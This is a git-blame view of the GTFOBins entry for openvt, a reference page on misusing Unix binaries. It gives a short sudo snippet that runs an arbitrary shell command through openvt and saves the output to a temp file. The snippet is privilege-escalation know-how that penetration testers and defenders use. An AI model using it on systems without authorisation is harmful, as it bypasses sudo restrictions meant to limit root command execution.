1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/openvt.md

11 lines
295 B
Markdown
Raw Normal View History

2021-01-19 18:37:21 +01:00
---
functions:
sudo:
2021-01-21 14:49:32 +01:00
- description: The command execution is blind (displayed on the virtual console), but it is possible to save the output on a temporary file.
2021-01-19 18:37:21 +01:00
code: |
2021-01-21 14:49:32 +01:00
COMMAND=id
TF=$(mktemp -u)
sudo openvt -- sh -c "$COMMAND >$TF 2>&1"
cat $TF
2021-01-19 18:37:21 +01:00
---